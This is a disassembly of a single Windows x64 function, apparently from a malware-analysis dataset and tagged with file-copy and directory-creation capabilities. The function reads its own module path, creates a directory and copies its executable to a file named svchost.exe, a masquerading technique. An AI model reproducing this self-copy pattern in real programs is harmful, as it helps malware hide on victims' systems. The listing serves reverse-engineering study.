Function at 0x140001850
Capabilities:
Copy file
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
lea rdx, [0x14000b0c0]
lea rcx, [rsp + 0x70]
call fcn.1400041f0
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400041f0
nop
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rdi
xor r14d, r14d
cmp rax, 0xc
jb 0x1400018f6
lea rax, [rdi + 0xc]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
mov r8d, 0x18
lea rdx, str._svchost.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x18], r14w
jmp 0x140001915
mov qword [rsp + 0x20], 0xc
lea r9, str._svchost.exe
mov edx, 0xc
lea rcx, [rsp + 0x50]
call fcn.140005310
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov r8d, 0x104
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp - 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x140001943
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140001ba5
cmp rbx, 7
ja 0x140001993
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x30], r14w
jmp 0x140001a40
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400019e2
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001a12
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001bab
mov rcx, rax
call fcn.140005790
test rax, rax
je 0x140001abc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001a1a
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140001bab
add rcx, rcx
jne 0x1400019ad
mov rdi, r14
jmp 0x140001a1a
call fcn.140005790
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x70]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbx], r14w
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rcx, qword [rsp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140001ac8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ac3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005a14
movdqa xmm0, xmmword [0x140007b90]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140001b21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b1c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005a14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140001b79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005a14
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140005770
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140001380
nop
call fcn.1400012e0
int3